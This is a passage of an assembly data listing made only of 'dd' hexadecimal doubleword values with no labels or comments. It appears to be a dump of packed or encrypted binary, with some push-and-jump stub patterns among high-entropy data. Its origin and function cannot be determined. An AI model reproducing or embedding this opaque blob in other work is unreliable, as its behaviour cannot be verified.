74E24B7Dh, 0A5B9AC83h, 47231031h, 0DE0512F2h, 0F0D45C5Fh dd 0BE91E4D5h, 5B193840h, 71036680h, 609B8ACEh, 7E8h, 9F34A700h dd 0E76BC44Bh, 0E49858Bh, 0E95E0648h, 14h, 7040A76h, 0B157CEB4h dd 0F3EA3DE3h, 1DD919D6h, 63A9E86Ch, 5B28C681h, 0A8BB0000h dd 89000016h, 482035BDh, 89168B06h, 480C89BDh, 23F28106h dd 0E91A3645h, 14h, 0FDC6D9A0h, 4658729Ah, 0E20C1C1Fh dd 0FEC4705Fh, 2E477F74h, 9654C281h, 0E4B8081Fh, 81449693h dd 0FCEA5FEAh, 0CB8B665Ch, 858B1689h, 64831B1h, 0F903EE83h dd 0C18B664Eh, 0AE850F4Bh, 0B5FFFFFFh, 0ABE9EAh, 8D500000h dd 0B11C3F2Eh, 0ABDA5F72h, 0B395A7ACh, 0A1F44592h, 0DA00B395h dd 20A7ECABh, 6BB2915Dh, 2096B1F4h, 9B552075h, 0BCF26BB7h dd 0A19692A5h, 603A7594h, 329FB799h, 0E9B599BDh, 92A59CB2h dd 95ACA3F2h, 97B1EF76h, 0B4F94E00h, 5C009FA5h, 4AF07B6Bh dd 0D0008A92h, 0F545F352h, 79A3F653h, 0F144D6D9h, 0F445E3AFh dd 0D77D41h, 0BF9792B0h, 60FD756Bh, 0F996BFCFh, 20B293BCh dd 9B57207Dh, 9492ABF7h, 0E3B29EBDh, 0E0CE9DBCh, 728F899Bh dd 0A9FD8F9Dh, 0F66DB4EEh, 93BCE1B6h, 97B3ED72h, 0A601E800h dd 323D94E7h, 35DD2B83h, 1287E907h, 86680000h, 0E9064DD3h dd 0FFFAACF1h, 4DD4A268h, 0ACE7E906h, 6968FFFAh, 0E9064DD5h dd 0FFFAACDDh, 4DD6E868h, 0ACD3E906h, 7268FFFAh, 0E9064DD7h dd 0FFFAACC9h, 4DD82868h, 0ACBFE906h, 0F768FFFAh, 0E9064DD8h dd 0FFFAACB5h, 4DD99F68h, 0ACABE906h, 4168FFFAh, 0E9064DDAh dd 0FFFAACA1h, 4DDBA068h, 0AC97E906h, 7B68FFFAh, 0E9064DDCh dd 0FFFAAC8Dh, 4DDDDC68h, 0AC83E906h, 3A68FFFAh, 0E9064DDFh dd 0FFFAAC79h, 4DE0E768h, 0AC6FE906h, 0C368FFFAh, 0E9064DE1h dd 0FFFAAC65h, 7414EB8Ah, 0FD9F9A18h, 61031EA1h, 0D4B48D35h dd 5F3D3CB8h, 0DB675F34h, 58EEBAC6h, 0F6732F4Dh, 7E0591F3h dd 334A197Bh, 72051D5Bh, 8015AB7Ch, 0D441A00Bh, 0A8383FA8h dd 2A50D0Ch, 4DE8FE85h, 0C56F3D4Ah, 75F2B3C0h, 32CC8CE2h dd 9F187624h, 9013611Eh, 9CA7F795h, 324346EDh, 475AE775h dd 0CE7F4FC6h, 1A7C6C45h, 0CA760A9Dh, 51F986F7h, 44D09422h dd 0CF7B7C6Ch, 0CF3410h, 0C55CDBA9h, 6C4CAFE9h, 0DC723D7Ch dd 5070h, 0ECC25900h, 7C6C4CACh, 53156938h, 617C6C4Ch dd 96319906h, 49DC7EB9h, 6C406475h, 86F7B07Ch, 6C3F6C28h dd 0B46BE77Ch, 522FD769h, 8F273AC6h, 0A90304FFh, 6C0097DBh dd 0F1BECFDAh, 6C33E7A1h, 0F98AF57Ch, 0BB3BCEFDh, 0B9A50D3Bh dd 0DBh, 40EC80E2h, 0DB733041h, 0C0B1B43Fh, 443534B0h dd 1D888F34h, 50F6E083h, 0E687F475h, 0D2512350h, 40DCB5D7h dd 908B4A2h, 0E9B42288h, 0D8762436h, 49782BA3h, 30861A46h dd 51C4C360h, 0B0A4E4BAh, 83307624h, 0F7525026h, 0E248C97Dh dd 2A29CAC6h, 10B64A5Dh, 0F6C19D35h, 60EDC154h, 617C6C76h dd 0AD8C728h, 98199675h, 4AFB7AEFh, 0C9ABD4E4h, 0A134D6E1h dd 0C46A670Fh, 9A26BA51h, 2189F687h, 0B77355B3h, 51C4A382h dd 523E33BFh, 18A7BA46h, 12A1B71Dh, 0E4C6742Bh, 300000Fh dd 910D6F62h, 1E8A1613h, 0A2FE9A89h, 316D0F02h, 0CFD4B4B5h dd 5F52DEE6h, 0C2DF613Dh, 484FEAA6h, 0F0F77C28h, 0D2ACC390h dd 7C720596h, 850B9C22h, 0C98F8F9h, 5BF56067h, 0CBA8D9C4h dd 0B9BC4763h, 7549DC7Eh, 7C6C4064h, 3D7703B0h, 230BA1BDh dd 433031B1h, 6D4A522h, 7C6CBF3Eh, 0BCCDC86Ah, 22B447ECh dd 0BB2C5607h, 0C14E3FBCh, 74995E0Dh, 0F82305FAh, 22DBA9D3h dd 0D8h, 0FBFE8579h, 7F72FE8Ah, 0ABE0770Eh, 0BE942860h dd 18500E83h, 0A4762447h, 186573DBh, 0AC76244Bh, 34600007h dd 641D888Fh, 6655C91Fh, 0A3D0662Ah, 0C8A63DD4h, 76249F90h dd 4503535Ch, 937624A0h, 0D5EEBE14h, 0A00B4D21h, 0DED97624h dd 65E8C651h, 817C6CC9h, 710B9AE6h, 0A683F4F5h, 83ACD2AAh dd 0FDC6963Ch, 8C34C85Fh, 7053C4B5h, 258B8454h, 9F76DC5Dh dd 0B745D8CFh, 0B44BE582h, 73DBD8A9h, 13AD3847h, 8E039297h dd 0BE772541h, 18A80E15h, 5EE1E08Ch, 12A16EBDh, 0C89604FBh dd 2700000Eh, 0B5E1839Eh, 326E0A0Fh, 0C6D2BEADh, 5541233Eh dd 0ABC8A8A9h, 7376F2CAh, 0E6E38511h, 6C630E9Ah, 1413900Ch dd 0F6C8DF74h, 7C7206B2h, 85FFA83Eh, 0C98F8F9h, 63006067h dd 8AFBFE85h, 127E75FEh, 73E2E186h, 0F85E5BD9h, 0FB0AA9FBh dd 7076FE42h, 50086697h, 9C762433h, 77159213h, 7408D547h dd 815DF5CCh, 2D8114B6h, 7C6C4260h, 8819FB84h, 0E34B4EF4h dd 0F672B0F5h, 0C1A8E173h, 7BD3F798h, 0D6E1BD15h, 44CDA134h dd 0E06E2E56h, 4D7B3D91h, 0AA96DAEh, 43317E0Fh, 86D6A724h dd 36881FBDh, 73F9CCCEh, 760A9D1Ah, 0FBAAF6CDh, 5A011E86h dd 9C32B2B2h, 0C66377FCh, 66FB42C3h, 6020E20Bh, 0E013FAFh dd 45EC0000h, 0F0722E4Ah, 64FB97F5h, 0E78F1B79h, 96128EEAh dd 85D2F193h, 503031BDh, 0C5A7A244h, 4F2D2CC9h, 0B7D5D053h dd 7335891Ch, 417C7207h, 0FE8524FFh, 80376CFBh, 8FB477h dd 92FAF951h, 0DD74E3A9h, 0CA306846h, 0E5BC7624h, 24C9CF89h dd 15921D76h, 51F9FC87h, 6CE71E03h, 4F2D4A7Ch, 1FB6546Fh dd 0B4D07E4Fh, 0E6B84F82h, 7624CBA2h, 0C9E9412Eh, 4301D1AEh dd 0E7624CCh, 89FC1287h, 17BFE138h, 0AFD87608h, 0B51DD0CBh dd 0BB60443Bh, 61DDE1C9h, 61h, 80FB448h, 0D3AB3A7Bh, 7624FD95h dd 0D5EE4423h, 49DC7EB9h, 6C81AF75h, 0EB7A057Ch, 0B7D5D451h dd 6C805D19h, 0A7F78E7Ch, 7C6C80E1h, 951080EFh, 0D75C3C92h dd 17AE45D0h, 6C810147h, 0F2A0CF7Ch, 7C6C80B6h, 3E4F42E2h dd 0CE640371h, 575BE6B2h, 48DFA8ADh, 0AB516C8Eh, 0F5651293h dd 0D0Bh, 0DC7EB952h, 4977549h, 94ED7C72h, 6675521Fh, 0F0AEC21Eh dd 7C7208B8h, 64425003h, 0E3913E4Fh, 0FC900784h, 84107077h dd 0D890EEFFh, 0E47C718Ch, 62FF26Fh, 5EDF050Dh, 0AAA46D1h dd 91394637h, 0CB91AAE2h, 502EC55Ch, 7C71C618h, 0D4A5BC44h dd 74DAA5D7h, 0BF96E766h, 91046382h, 137174FFh, 88F9FC87h dd 0C651FBC4h, 15DDC6CDh, 9C1D6A6Fh, 4A6D7AEBh, 0B85D31E4h dd 0C7C6C8Dh, 0D62BDC63h, 920D0C5Bh, 0C82E4h, 0CDC46D00h dd 7471F3AFh, 0F8E77814h, 6D640C98h, 1217930Fh, 3C046D76h dd 0C7D3B1B0h, 48442421h, 0D2CEAAADh, 9D365251h, 8F4B40Ah dd 7EC07C72h, 32FD47A5h, 922E7624h, 0F3B50912h dd 0C1762432h, 2B4839A6h, 5285265Eh, 71D95607h, 6DF8A29Dh dd 0FD5550D3h, 42EF8118h, 7CE9E74Fh, 0E87C7245h, 0EF81188Fh dd 0D4D15345h, 0F159C6A7h, 0E5878221h, 7E0F0AA9h, 0F067251Eh dd 0B9E1B39Eh, 0CD703F82h, 129E6230h, 0F8198906h, 0F700000Bh dd 8511734Eh, 29EFAFFh, 96026E7Dh, 257113EEh, 0DBF89899h dd 2326C2FAh, 0D6B35541h, 5C53DECAh, 0C4C3603Ch, 0C6982FA4h dd 7C720982h, 852FF84Eh, 0D791EDFEh, 0E5762432h, 1C6C1D9Ah dd 6B059097h, 0C781DDCEh, 15762432h, 3645ED6Ah, 0A73D7621h dd 87C0CD4Ch, 4B30AA00h, 0E102A65Dh, 6637CDDh, 0BB550000h dd 8AB3924h, 0B902A50Dh, 7549DC7Eh, 7C72040Dh, 37C95C5Bh dd 0BAEB898Ch, 0F5828126h, 0F1721EB4h, 6F3585F2h, 997C7202h dd 0D269FC9Eh, 325633Bh, 0F4B37C72h, 2011705Eh, 0C3B882BAh dd 95621E56h, 0F3FF5743h, 9BFA09B4h, 53CC129Eh, 0B42A3h dd 0D04AD00h, 0B4B1336Fh, 3827B8D4h, 0ADA44C58h, 5257D3CFh dd 7C442D36h, 793F1F0h, 88046461h, 128EEAEDh, 5DF69291h dd 0B34744Ah, 3E807C72h, 0FBFE8565h, 0A64FB8Ah, 7624334Eh dd 0E5B51D9Ah, 0A8B7485Eh, 0B9355A2Bh, 1239E2C2h, 0BEE3DDE1h dd 38000005h, 2432FD47h, 6E2C1776h, 0DADF65F7h, 0AF66CCADh dd 7203B3DFh, 0DE613D7Ch, 3E7A54C3h, 8A7C7204h, 67F96CEDh dd 554ED9DCh, 0EE70AD44h, 4858FE39h, 263BC759h, 16822849h dd 6A2E806Dh, 767C7190h, 0ACFB8809h, 90FFB915h, 0B1CD7C71h dd 27443534h, 83BC10A6h, 0C2B74ED9h, 5A1AD3DEh, 96C46A97h dd 82B94FABh, 75338B22h, 4376294Eh, 85E28E24h, 9ED3EF3Ah dd 0D856C912h, 0A73h, 9CFCF372h, 5676200h, 89EBF689h, 0FC9C951Dh dd 670504A0h, 0A34F775Ch, 30D6C2AEh, 0DE5B3755h, 46EDB9DBh dd 1BB22143h, 720B0543h, 9A0DD37Ch, 8AFBFE85h, 4E0A64FBh dd 7F762433h, 2432692Fh, 78087776h, 78FB973Fh, 6D0D4789h dd 8A0BF2B9h, 0A51AD4FDh, 465DE67Ah, 0B727DCF0h, 0DEFDDDE1h dd 26000004h, 49DC7EB9h, 72046275h, 5EC9B67Ch, 462221C2h dd 26B9A94Ah, 0AC2D4A3Bh, 4450FDFh, 744F7C72h, 1AAD3FD6h dd 57EEA70Fh, 3AAEEC0h, 49367C72h, 208EF3E1h, 0DDDA82BAh dd 9E23BD62h, 66148B12h, 9CBh, 0E4849B1Ah, 6D0F0AA8h, 0D1B3AE31h dd 44243DC5h, 0CFADAC48h, 4BF7CFA4h, 0E87E2A76h, 66039FFDh dd 0EE950163h, 0C3DA89EBh, 720BADEBh, 0E2A53B7Ch, 8AFBFE85h dd 17E75FEh, 0BFE95608h, 0DDE11244h, 4549Eh, 2470500h dd 12762433h, 9AF46329h, 7C7203EAh, 8F26B1FEh, 7170FDh dd 0A7189197h, 0AE2F6C9Dh, 0ECEB8808h, 9493108Ch, 54146A01h dd 607C715Dh, 4C00AF07h, 0A73EA973h, 715D91D7h, 0FA505F7Ch dd 4CE8841Bh, 5154DF4Dh, 0EDEB4320h, 82B9734Ch, 75A01F98h dd 53129EB2h, 9292EDCh, 3DC40000h, 0A84A4622h, 4CD3CFADh dd 0DF673351h, 4EEAA6C2h, 0AD0A294Bh, 88E8E995h, 0FD9F8A1Ch dd 670504A1h, 0EF8D882Bh, 4B0D6174h, 997C720Dh, 0FE855CC7h dd 0F9D56CFBh, 762432BFh, 334041EDh, 628D0672h, 0C5A961Ch dd 3645ED6Ah, 0BC2ED95Ah, 8895F87Fh, 0C1D9D657h, 4BE830EFh dd 978C2C4Ch, 4DDE101h, 0C0F8D66Dh, 0C762435h, 35753363h dd 24437624h, 780908B4h, 3F4B933Bh, 0D0000001h, 4047EC80h dd 3CDC7233h, 0B1C3B0B7h, 0CA03732h, 67E89766h, 7728750Ch dd 514060F6h, 6FBB4958h, 6D1022E4h, 170A7FE7h, 2625BAB4h dd 3AB2849h, 5BCA90ABh, 6D29DA03h, 6DB6EB7Ch, 7D5F8B7Ah dd 0CEA9C961h, 4C6321B1h, 7CEE7C6Ch, 862998Fh, 2CB8DBA9h dd 11000000h, 8CFDE87Fh, 0B93C47EFh, 7549DC7Eh, 7C6C4064h dd 2886F7B0h, 7C6C3F6Ch, 90B46BE7h, 0DBA9036Bh, 0D8DF64F8h dd 0A9EA72h, 85310000h, 376CFBFEh, 49C695B2h, 84339BA6h dd 384948F4h, 0BFCCCB68h, 214346EDh, 254FF6B7h, 92911276h dd 0FF9DA6F6h, 0AE1F1668h, 0F5AE7C6Fh, 1EBD8977h, 0B232AEE3h dd 1C9B17BFh, 764BF789h, 5FE17B2Ah, 0DE743542h, 0A0B632h dd 6B377401h, 726D727Dh, 0C6814AF5h, 0F8B70C59h, 7CA4Ah dd 859C2500h, 0C09ABE7h, 0B0AF306Ch, 253CC4D0h, 0AAAF4B47h dd 0F4CCA5CEh, 7F2B4948h, 9CFCE9h, 8A066265h, 0D58EEAE9h dd 0DACECC2h, 0A6387C72h, 0F8F985FDh, 0AF56346Dh, 80E25662h dd 24E86A2Eh, 88097676h, 690A8622h, 85650E6Ah, 0D06CFBFEh dd 0FAF95150h, 620E05AEh, 23CD4h, 7EB93300h, 147549DCh dd 607C6C5Ah, 76FC9007h, 45C2C560h, 0C6D96434h, 74C2F159h dd 7C6C5930h, 0D4F0AF1Bh, 0DBA9282Fh, 1FBF5h, 4472E00h dd 29762433h, 9916EB97h, 0E1DAB218h, 0A8D2AC3Bh, 307C7203h dd 0A74CE077h, 2FD4C0A0h, 574C5B28h, 12F42EC0h, 0AEEAC49Dh dd 3A7C722Dh, 8656FC7Dh, 36881FBDh, 82BA4313h, 0D627C3DFh dd 3B7C7538h, 8F0C8DEFh, 9E46D130h, 8A38F712h, 6EFh, 187877FEh dd 81E3E68Ch, 0F5977215h, 78181999h, 0E381802Ch, 2FCBF3C0h dd 0CC524E2Ah, 5AE7B3D1h, 0CA692547h, 9F36ADCFh, 720E89CFh dd 16F1577Ch, 8AFBFE85h, 17E75FEh, 0A540DC79h, 0ED520CA2h dd 0DBB9BC47h, 0E10EC833h, 15A12DDh, 0E47B0000h, 243ECE8Ah dd 359D1A76h, 0FBFE8592h, 5453D06Ch, 0A3F1FEh, 0A3FB9205h dd 762432E5h, 821EB4F3h, 0DC4B112Ah, 6C455B82h, 8E316A7Ch dd 1AB8AAA5h, 7A16A208h, 0FE8AFBFEh, 70F17E75h, 38704EE5h dd 847C6CB0h, 962453FBh, 7C6CAFCEh, 0C7D78FAh, 8FFCEB7Ch dd 0E039E6D4h, 41EC530Fh, 700104AFh, 18039B33h, 0C2DBA96Fh dd 52h, 938E11ABh, 0BC1285E2h, 7C6CA7FCh, 7C07AFC8h, 4D44EC80h dd 41ED7F3Ch, 2912EA40h, 0F9AF463h, 0DB7C6C40h, 0DCB249DCh dd 7C6C3F9Ch, 0C8E74F28h, 6C403A7Ah, 0CFC26E7Ch, 525CE2BEh dd 2253D0D7h, 479C437Fh, 654338AAh, 0DBA903BEh, 8D64h dd 0FE85BF00h, 72FE8AFBh, 0F1720E7Fh, 1C97BD06h, 8FEC9D94h dd 0CEC7FEFAh, 0A3D0D752h, 643445C2h, 2EB8D8DFh, 7625547Fh dd 7376F28Eh, 4AF76502h, 0B033DF77h, 0BC87D7B5h, 3E37871Eh dd 0AA7C6F56h, 3AC65ACDh, 0AD494527h, 0CC9611ACh, 0EFA00C59h dd 58E7Fh, 0D9D85900h, 4045EFBBh, 0F4D37420h, 7978F894h dd 0EEE38F1Bh, 28106182h, 0B3EF8D8Ch, 4450302Dh, 0CEDAA6B9h dd 91422E25h, 0FE8A0FEh, 52F47C72h, 0F8F985B1h, 60670C98h dd 0FE856300h, 75FE8AFBh, 1664127Eh, 0E3000000h, 8AFBFE85h dd 17E75FEh, 618B702Ah, 0BA5C7C2h, 43h, 0FBFE8588h, 0BB67376Ch dd 0FB72E98Dh, 0A6B4928Eh, 1EB4D434h, 0F684C191h, 0EBA77624h dd 4047EC34h, 28603ED5h, 0B47624F7h, 46025CCBh, 927624F7h dd 742DBD15h, 0F6C781DDh, 48F57624h, 97B3849h, 80BFC86Eh dd 0CA5C5AECh, 18F85EDFh, 0ECF98F9Bh, 0E0911E9Fh, 5EC993ACh dd 32B1F7C7h, 703F7624h, 48642C07h, 7BD37D11h, 1EE8C49Ah dd 733C7C72h, 0BFAB48E4h, 0DFBD3A37h, 542520C3h, 1204AF41h dd 84E59291h, 0E4DFAF07h, 19A59335h, 8DEA9B18h, 48C5990Ch dd 7982BFCDh, 2B585DE7h, 0ABD4E44Ah, 0B00EA53Ch, 76244CF8h dd 522CBBC4h, 76244D16h, 0AD6DC5A2h, 95941006h, 4CECAC02h dd 0BFF87624h, 0BD46523Eh, 27BEC9A6h, 9916F395h, 4D0E4A18h dd 0DDDA7624h, 0FC9E9975h, 94353069h, 954A4643h, 196617F2h dd 0B633298h, 7C6CB1EAh dd 3A71A6DBh, 1301D187h, 0CD703FBBh, 0C5B59E0h, 30A959D6h dd 0BF000004h, 4D593B36h, 0CAC6A2A7h, 5E4A5635h, 0EDB9DBD6h dd 3204041h, 0EBEE8AB2h, 9E8B1D89h, 41BA6F2h, 8C8B2864h dd 0E6077ECh, 7C72124Ah, 85573096h, 899FBFEh, 5EE5C974h dd 0CCADDA5Bh, 1909AA66h, 891C9D9Ch, 6774AF7h, 0D6A2D179h dd 4159562Dh, 0CB68B06Fh, 170CACCCh, 0CDDDE10Eh, 3Eh, 0CF7EB956h dd 38AF2C39h, 6C819E66h, 0DA4D2A7Ch, 0C4A4BB46h, 6C814C0Ah dd 0F0F77C7Ch, 0B8F0CE65h, 47C6C80h, 4ECFCA68h, 21CCD8E8h dd 4E20B72Eh, 7C6C810Ah, 7201A9D6h, 392C4h, 0EC804300h dd 2AE64C5Bh, 0AAFD8A89h, 0FA636A16h, 8A483E29h, 0E7B31B98h dd 533B595Ch, 5B33A268h, 7C6C53B2h, 6D384936h, 1662E234h dd 0FA70B25h, 6CC00341h, 2F9C4E7Ch, 0A99F02F9h, 4CD8DBh dd 0F8B10000h, 78568880h, 7C6C4240h, 6296E38Ch, 4AF662A4h dd 0D1790677h, 0DC7EB9B6h, 951EB249h, 2A80E19Eh, 6C401DACh dd 37BDC97Ch, 76C4B532h, 7C6C402Eh, 2BF2A925h, 0CE31291h dd 8CC6281Ch, 9D319906h, 0DBA90566h, 0C4BCh, 0FE85E700h dd 53D06CFBh, 0A3F1FE54h, 27750207h, 98E8999Ch, 0E27C1C1Bh dd 7624369Bh, 1681842Fh, 50E6E57Ah, 0D8DF6430h, 0A340DCABh dd 0FA43BE50h, 42C3CB01h, 0EDE7435h, 0AE009735h, 7C6D2FDFh dd 0DFD252EEh, 5C3C7B77h, 0EE8A437Ch, 9C1D9AEBh, 0B9BAB509h dd 51EB82B7h, 2DA6D7D2h, 13ADF687h, 0FE54D5D3h, 8B22B5F2h dd 26F77533h, 8E244376h, 0C8C97507h, 7170FCA8h, 0A12AE5CEh dd 0BE2CE312h, 283h, 0ACCCC362h, 157772F0h, 99FBE679h dd 0C6C650Dh, 77151490h, 0B33F076Ch, 20C6D2BEh, 0AE4B4725h dd 56DDC9ABh, 0BA23153h, 7212F5B3h, 0AA7DC37Ch, 98F8F985h dd 0F673670Ch, 0C3405FE0h, 1474F5B2h, 0CA7EB98Fh, 2432B4F4h dd 0E6670076h, 3F8A1F6Fh, 29567C6Ch, 0D8B64D58h, 7C6C3FA0h dd 0EDEB432Ch, 7C6C3FA7h, 5D4B30A2h, 0DBA903A6h, 0A47Ch dd 0FE85A700h, 72FE8AFBh, 0EDB00E7Fh, 0D9762436h, 0ACBB4C5Ah dd 0D2514D2Fh, 38CFA6D7h, 0C3E9B543h, 5D0DC2BBh, 7625081Bh dd 0D152CEA9h, 6EC4A5D2h, 70E7A59Eh, 2C6C42D9h, 0B8762508h dd 347957FFh, 707C6D38h, 3A055537h, 57A90590h, 9582B7CEh dd 45E17BEAh, 0CC682444h, 0B07A8439h, 840578C3h, 0A1D3A039h dd 69199612h, 1A7h, 0C0A0BF46h, 492B2ED4h, 0BDDFCA5Dh dd 204041E1h, 0ABC9C874h, 97132B88h, 49AF692h, 822F7B19h dd 32B1ED8Fh, 0E7FE5537h, 7213D197h, 0DE491F7Ch, 98F8F985h dd 60670Ch, 0FBFE8563h, 0C461FB8Ah, 0C803B4C5h, 0F549EC03h dd 0F98E1A9Bh, 2FD444EAh, 91D7A73Eh, 5F7624D5h, 0D6460250h dd 15927624h, 0C46F0194h, 61F3B0C1h, 5D6DC5C4h, 0D6A7A241h dd 881FBD86h, 6CFE1736h, 0A7D4D37Ch, 5B2829D5h, 0DDAAB749h dd 0AE672496h, 8C540BC7h, 2880E0E7h, 84DA4D0Fh, 82B4C315h dd 3B492641h, 932ABDB8h, 24C07D3Bh, 862C4B76h, 5308C2E9h dd 0B6348AB5h, 57B8C2B8h, 421C8B08h, 7C6C7857h, 0B9761083h dd 0A9C6C365h, 0B6A9BFC8h, 0C2DEBA3Bh, 47552221h, 9930A7BAh dd 6D1383C5h, 9EDAB47Ch, 2A7C6D13h, 0DA703F4Dh, 2F22CFDDh dd 0A0A7425Eh, 6DD2E8D3h, 5A01B1D4h, 51EB1E93h, 4C0E7C09h dd 8A892AE6h, 17B58EEEh, 0B157E980h, 70C6A7D4h, 0B4E4CB62h dd 5901F82h, 0BCCDC86Bh, 4D5857FFh, 423336B3h, 660D8D25h dd 0C7731263h, 9D3EC18h, 0D275079Eh, 120D86F7h, 0C5F6266Bh dd 0F3E149F6h, 7C6D2D5Ah, 4056D2AEh, 0A425A2A5h, 1CBF4C4h dd 0FDEC3896h, 7F3882BAh, 6F1720Eh, 61D1C2A3h, 86E263A6h dd 1D6A690Ah, 0DD9BF38Ah, 0EB762A23h, 9C1D089Fh, 5D1E9836h dd 5F1377A2h, 0BCBB38E0h, 2423C0DCh, 1AC4057h, 48E8A80Eh dd 0ADC6C55Ah, 8ED46AA0h, 0A0D15ECBh, 22F6B525h, 0AAE68281h dd 0CD7D0A09h, 3, 85DA414Ah, 494E5FCh, 790B787Fh, 0FC8CFDFCh dd 720E7F6Ah, 0F682F3F6h, 6A06774Ah, 0EA86F7CAh, 6B397655h dd 0B9BFCCC9h, 5E08950h, 4, 8704E883h, 895C2404h, 0C0682434h dd 89000072h, 0F668241Ch, 8900003Ch, 0BE562414h, 0E03601Ah dd 1A1B44BBh, 1BEB8163h, 294EC8E9h, 8B545EF3h, 0C4832414h dd 4EC8304h, 8F241C89h, 34FF0842h, 0C4835A24h, 241C8B04h dd 81E28952h, 4C2h, 4C28100h, 87000000h, 0E95C2414h, 0FFFA9A7Dh dd 9A6AF3BEh, 2CD6ECF9h, 0E38FB8F3h, 0C503064Dh, 0D17FE0FFh dd 0E6B07795h, 64F2BFEh, 0B27449FDh, 8B9E24DFh, 52016499h dd 34A84A1Fh, 0BD8C62DFh, 2578204Ch, 3D9C05B6h, 8B0627ABh dd 0C74C46A6h, 6AF71D67h, 0CF716EA3h, 0D63A05D3h, 0B4136C83h dd 9D0F0D1Dh, 7F79390Ch, 5A5E3055h, 0C6550E7Dh, 0C9D10EB6h dd 0EAE65BDAh, 1B3057BFh, 539A7CAEh, 8EB7ABDh, 6F818058h dd 2400000h, 0C42E9h, 0E63C6800h, 3FE9064Dh, 68FFFB64h dd 64DE787h, 0FB6435E9h, 0E91D68FFh, 2BE9064Dh, 68FFFB64h dd 64DE9CDh, 0FB6421E9h, 0EA9268FFh, 17E9064Dh, 68FFFB64h dd 64DEC96h, 0FB640DE9h, 0ED2068FFh, 3E9064Dh, 68FFFB64h dd 64DEE5Bh, 0FB63F9E9h, 0EF5268FFh, 0EFE9064Dh, 0A5FFFB63h dd 20AE22E2h, 9630B878h, 1EB830ECh, 85034F89h, 1D88C004h dd 0EB317090h, 6DBDF9E7h, 0FA22636Dh, 76B2E8F6h, 9D4A627Ah dd 73D79BFCh, 77579819h, 0DFC1D511h, 8A4409D5h, 3A6E960Ch dd 0C6EEF0FEh, 9A7F7001h, 69CB9575h, 0C1758061h, 6DC83AADh dd 9B258F52h, 6DBD6ED5h, 9AFA73D2h, 85EF0B4Bh, 3E1F2682h dd 0DC26B2CAh, 0EDE97CCh, 3909230h, 463A9E38h, 0FD000000h dd 0ACB26590h, 4F4C04D1h, 434D61C3h, 0F4D6845Ch, 0AEBC2BC1h dd 0B8F5224h, 0BFE30B8Dh, 0B13F997Bh, 2DF9BBE5h, 3422FFA8h dd 2D6573D2h, 0CFE72363h, 0D2347B18h, 89CC9E73h, 0DBE785BBh dd 719E3882h, 116h, 0D5117704h, 6CB8F9E7h, 0C23A606Eh dd 0A37F39C7h, 57318BC1h, 5320A73Fh, 0B6759A7Fh, 19EDA114h dd 99D71377h, 9A008EC7h, 5AD125Eh, 6759A7Bh, 0E55D3327h dd 686D2C90h, 0F4E42066h, 0DBAB4EAh, 759AB66Ch, 0AD4AFD89h dd 48759AB6h, 224A14F6h, 0B21778C3h, 6B62020Fh, 93C7F2B3h dd 755A4CFBh, 30118F52h, 663A5223h, 48E143A2h, 27B935B8h dd 5999018Fh, 0AED95814h, 3465E28Ah, 11891C85h, 3879274Fh dd 0A879C8ECh, 0A2028EB2h, 668CAB0Eh, 3F0C2407h, 9876EB88h dd 0D2BC0E75h, 0FAA7219Bh, 0EB774322h, 21AF0225h, 9EC8Ch dd 98484B00h, 16D2B6D0h, 0AE7A3C5Ah, 25FFA422h, 0BE6E2BB5h dd 6E68732h, 8F09419Bh, 997DB07h, 7E18508Ch, 0DCECEC28h dd 996233B4h, 0FA8773D7h, 510A7735h, 8B2D47Ch, 0ED816353h dd 0B439FDA3h, 206628F8h, 4B01C3D8h, 0B0DE9771h, 0B59712EAh dd 0C7DDC3EBh, 464F4D03h, 0C7B93C9Eh, 3127612Fh, 9A25D9B6h dd 0C0A23C75h, 6590A88Dh, 3C2A9D31h, 998F5262h, 93FD89C7h dd 25873511h, 721AF7B0h, 7D5D73D2h, 544C5243h, 0B6B0D99Ch dd 0DD9E38C4h, 0A715F1B3h, 0EF795005h, 3C000000h, 0A81F1177h dd 759A7FCBh, 980E9C2Eh, 0E24C1E5Ch, 79A3EEECh, 7B268C73h dd 8D25759Ah, 9A7B3DDAh, 4F06D875h, 0E0A1594Fh, 7E165A24h dd 6B49410h, 0F7AD31A4h, 0A7E9BD33h, 11AB21FDh, 0F6AAD55Ch dd 14F4B0DEh, 52E487A6h, 3AA84736h dd 0C87F1558h, 8F5278DEh, 11E1E973h, 6C788830h, 7A73B5BCh dd 0B2E888B3h, 8E95E76h, 0ED73D243h, 6ADDF153h, 891CE2DEh dd 13E0673Fh, 0F67598E2h, 0FCF22E68h, 0EA600E2h, 97DB0180h dd 13E067FFh, 107598E2h, 98E2C657h, 13992375h, 0ED032BCAh dd 4721466Ch, 0DB01800Eh, 257C367Ah, 5D10DE02h, 8A1h, 6555B7F0h dd 0EFE3277Bh, 777BA7E1h, 0FEF23269h, 470BD1D0h, 0CCCD2D4Ah dd 4E365018h, 0F5B0DE92h, 7F25A32Fh, 0FF9737BBh, 0D798AB48h dd 0EA234E73h, 9ED20A77h, 466EAAF0h, 0CC814358h, 1177DF10h dd 0A3F9E7D5h, 7F8A6B67h, 48076458h, 0A002370Fh, 0E00820Ch dd 9AC1B859h, 21835D75h, 0C45C11ABh, 52DAFB03h, 0E760F88Fh dd 73D2CA16h, 6A6469F3h, 7D73A9ECh, 0CDCB8163h, 315F13D7h dd 0A8DA2C6Bh, 3F68416h, 0B5174581h, 9C4309EBh, 818A1E2h dd 3FBD792Fh, 46011791h, 0F494A1A9h, 5A10F24Ch, 9C4779C7h dd 4D4856CEh, 300EDE97h, 5E1B8061h, 173C9A1Dh, 0AE6A305Eh dd 3AFEA422h, 5722B392h, 55BADA9Ch, 3ED6AE60h, 94C6E889h dd 3AB30DF4h, 94C6914Dh, 92ACF8F4h, 676BAFF5h, 0E9E72379h dd 94C65C32h, 744A92F4h, 3DDA8D25h, 0D80B6B39h, 594F4F06h dd 0EDB3DD9Dh, 0B7C2A329h, 967CEB83h, 73F1A303h, 0F500E1E9h dd 0FD952D41h, 2313AD4Ah, 0FFF6480Dh, 0EB224806h, 9DD36DF7h dd 6B237426h, 152B330Bh, 0C79FA584h, 38F20551h, 0F7E52762h dd 0CFFBE0D5h, 65E681C6h, 48Dh, 8545414Fh, 0C1AE67D0h dd 0C2759A7Fh, 0FA3E642Ah, 9A7F1CFDh, 6E67F975h, 9A6FE4B9h dd 6B07F075h, 2EE3759Ah, 15759A6Ch, 6C2DCA7Dh, 0BCC8759Ah dd 9A6C6A0Bh, 533D8F75h, 3468931Ah, 569F27A0h, 637A8F52h dd 0A7769F6h, 32E9F3D2h, 1F07E640h, 0F7046FCBh, 70B7479h dd 296A0000h, 